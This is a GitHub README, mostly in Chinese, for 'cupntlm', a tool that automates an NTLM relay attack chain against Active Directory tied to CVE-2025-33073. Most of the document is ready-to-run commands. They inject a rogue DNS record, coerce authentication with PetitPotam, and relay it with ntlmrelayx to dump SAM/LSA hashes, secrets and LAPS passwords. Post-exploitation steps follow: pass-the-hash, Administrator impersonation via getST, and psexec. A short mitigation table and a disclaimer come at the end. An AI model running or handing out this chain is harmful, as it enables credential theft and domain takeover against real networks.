EgCupCake/cupntlm-Automated-Exploit-For-CVE-2025-33073-

GitHub: EgCupCake/cupntlm-Automated-Exploit-For-CVE-2025-33073-

将 CVE-2025-33073 的 DNS 注入、身份验证诱导和 NTLM 中继攻击链自动化整合的一站式域渗透工具。

Stars: 2 | Forks: 0

# cupntlm ## 概述 **cupntlm** 自动化了滥用 CVE-2025-33073 的 NTLM 反射/中继攻击链。它将 DNS 记录注入、强制身份验证诱导 和 NTLM 中继整合到一个单一的工作流中。根据范围和隐蔽性需求,该工具支持两种操作模式。 ### 攻击链概要 ``` Attacker Domain Controller Target Host │ │ │ │── 1. Inject DNS record ───────▶│ │ │ (attacker IP as target) │ │ │ │ │ │── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│ │ │ │ │◀─ 3. NTLM auth forwarded back ─────────────────────────────│ │ │ │ │── 4. Relay to DC ─────────────▶│ │ │ (ntlmrelayx) │ │ │ │ │ │◀─ 5. Shell / secretsdump / etc.│ │ ``` **目标网络上的前置条件:** - 中继目标上的 SMB 签名被**禁用** - 一个有效的低权限域账户(只读权限即可) - 拥有访问域控制器的网络权限(389 端口 LDAP,445 端口 SMB) ## 环境要求 ### 系统软件包 | 工具 | 用途 | |------|---------| | `python3` | 运行时环境 | | `pip3` | Python 包管理器 | | `git` | 克隆依赖 | | `wget` | 下载文件 | | `nmap` | SMB 签名枚举 | | `netexec` / `crackmapexec` | SMB 签名检查(可选) | ### Python 库 | 库 | 安装 | |---------|---------| | `impacket` | `pip3 install impacket --break-system-packages` | | `colorama` | `pip3 install colorama --break-system-packages` | | `dnspython` | `pip3 install dnspython --break-system-packages` | ### exploit/ 目录内容(由 setup.sh 自动生成) ``` exploit/ ├── cupntlm.py ├── ntlmrelayx.py # from impacket ├── dnstool.py # from krbrelayx ├── lib/ # krbrelayx support library └── PetitPotam.py ``` ## 安装 ``` git clone https://github.com/EgCupCake/cupntlm.git cd cupntlm sudo bash setup.sh ``` ## 用法 ### 检查模式 — 验证攻击可行性 在尝试任何操作之前,检查目标的 SMB 签名状态并验证域凭据。 ``` cd exploit sudo python3 cupntlm.py check \ --domain lab.local \ --user pentester \ --pass 'P@ss' \ --dc-ip 10.0.0.1 \ --relay-ip 192.168.1.100 ``` ### 单目标模式 — 每台主机使用独立的 DNS 记录 为每个目标创建唯一的 DNS 记录,逐一触发诱导,并在每次迭代之间清理记录。速度较慢,但更精确且留下的痕迹更少。 ``` sudo python3 cupntlm.py per-target \ --targets targets.txt \ --domain lab.local \ --user pentester \ --pass 'P@ss' \ --dc-ip 10.0.0.1 \ --relay-ip 192.168.1.100 \ --loot loot.txt ``` ### 单一模式 — 单个 DNS 记录,持久中继 注入单个 DNS 记录,并在遍历所有目标时保持 ntlmrelayx 持续运行。适合大规模范围,速度更快。 ``` sudo python3 cupntlm.py single \ --targets targets.txt \ --domain lab.local \ --user pentester \ --pass 'P@ss' \ --dc-ip 10.0.0.1 \ --relay-ip 192.168.1.100 \ --loot loot.txt ``` ### targets.txt 格式 ``` 192.168.1.10 192.168.1.11 192.168.1.12 ``` ## 手动漏洞利用 以下步骤在不使用 `cupntlm.py` 的情况下手动复现完整的攻击链。这有助于理解攻击原语、调试或适应非标准环境。 ### 步骤 1 — 枚举 SMB 签名 识别禁用了 SMB 签名的主机。这些是有效的中继目标。 ``` netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt ``` 或者使用 nmap: ``` nmap -p 445 --script smb2-security-mode 192.168.1.0/24 ``` 查找: ``` Message signing enabled but not required ← valid relay target Message signing enabled and required ← cannot relay here ``` ### 步骤 2 — 注入恶意 DNS 记录 使用 `dnstool.py` 在域的 DNS 中添加一条 A 记录,将一个主机名指向你的机器。当目标解析该主机名并进行身份验证时,请求会落到你的中继监听器上。 ``` cd exploit/ python3 dnstool.py \ -u "lab.local\\pentester" \ -p 'P@ss' \ --action add \ --record 'attacker-relay' \ --data 192.168.45.200 \ # your attacker IP --type A \ 10.0.0.1 # DC IP ``` 验证记录是否已添加: ``` python3 dnstool.py \ -u "lab.local\\pentester" \ -p 'P@ss' \ --action query \ --record 'attacker-relay' \ 10.0.0.1 ``` ### 步骤 3 — 启动 NTLM 中继监听器 在触发诱导之前启动 `ntlmrelayx.py`。它将驻留并等待传入的身份验证。 **中继到 SMB — 转储 SAM/LSA:** ``` sudo python3 ntlmrelayx.py \ -t smb://192.168.1.100 \ -smb2support \ --no-http-server ``` **中继到 LDAP — 创建一个新的机器账户(用于 RBCD / shadow credentials):** ``` sudo python3 ntlmrelayx.py \ -t ldap://10.0.0.1 \ --delegate-access \ --no-smb-server \ --no-http-server ``` **中继到 LDAPS — 转储域机密:** ``` sudo python3 ntlmrelayx.py \ -t ldaps://10.0.0.1 \ --dump-laps \ --no-smb-server \ --no-http-server ``` ### 步骤 4 — 使用 PetitPotam 诱导身份验证 触发目标机器向出站到你注入的 DNS 记录进行身份验证。PetitPotam 滥用 MS-EFSRPC 接口 — 对于未打补丁的主机不需要凭据,或者对于已打补丁的主机使用有效的凭据。 **未经身份验证(未打补丁的目标):** ``` python3 PetitPotam.py \ [dnsname] \ # your listener IP (matches DNS record) 192.168.1.50 # target host to coerce ``` **经过身份验证(已打补丁的目标,需要有效凭据):** ``` python3 PetitPotam.py \ -u pentester \ -p 'P@ss' \ -d lab.local \ [dnsname] \ 192.168.1.50 ``` 此时,被诱导的主机将其 NTLM 身份验证发送到你的机器 → `ntlmrelayx` 捕获并将其转发。 ### 步骤 5 — 收集输出 根据你在步骤 3 中选择的中继目标: - **SMB 中继** → ntlmrelayx 将哈希转储到 stdout,并写入 `_samhashes.txt` / `_lsahashes.txt` - **LDAP delegate-access** → ntlmrelayx 打印创建的机器账户名和密码;随后使用 `getST.py` 获取服务票据 - **LDAPS dump** → 直接打印 LAPS 密码 ### 步骤 6 — 清理 DNS 记录 在操作结束后,务必删除注入的 DNS 记录。 ``` python3 dnstool.py \ -u "lab.local\\pentester" \ -p 'P@ss' \ --action remove \ --record 'attacker-relay' \ --data 192.168.45.200 \ --type A \ 10.0.0.1 ``` ## 后渗透示例 **使用中继的机器账户进行 Pass-the-hash:** ``` impacket-secretsdump \ 'lab.local/MACHINE$'@10.0.0.1 \ -hashes :aad3b435b51404eeaad3b435b51404ee: ``` **获取用于 S4U2Self 的服务票据(RBCD 之后):** ``` impacket-getST \ -spn cifs/TARGET.lab.local \ -impersonate Administrator \ 'lab.local/ATTACKERMACHINE$:password' ``` **使用该票据:** ``` export KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass TARGET.lab.local ``` ## 缓解措施 | 控制措施 | 效果 | |--------|--------| | 在所有主机上启用 SMB 签名(必需) | 阻止中继到 SMB | | 启用 LDAP 签名 + 通道绑定 | 阻止中继到 LDAP/LDAPS | | 为 MS-EFSRPC 打补丁 (KB5005413) | 阻止未经身份验证的 PetitPotam | | 将 DNS 记录创建权限限制为管理员 | 阻止 DNS 注入步骤 | | 禁用 NTLM 网络身份验证(首选 Kerberos) | 消除整类攻击 | ## 免责声明 本工具仅用于**授权的渗透测试和安全研究**。 请勿在未获得明确书面测试许可的系统上使用。 ## 致谢 - [fortra/impacket](https://github.com/fortra/impacket) — ntlmrelayx - [dirkjanm/krbrelayx](https://github.com/dirkjanm/krbrelayx) — dnstool - [topotam/PetitPotam](https://github.com/topotam/PetitPotam) — EFS coercion
标签:Active Directory, AD域安全, Conpot, CVE-2025-33073, DNS枚举, DNS记录注入, ntlmrelayx, NTLM反射, PetitPotam, Plaso, Python3, SecretsDump, SMB签名, Windows安全, 中间人攻击, 凭据窃取, 协议分析, 强制认证, 攻击路径可视化, 权限提升, 横向移动, 活动目录, 编程规范, 网络安全, 网络安全工具, 隐私保护, 黑客工具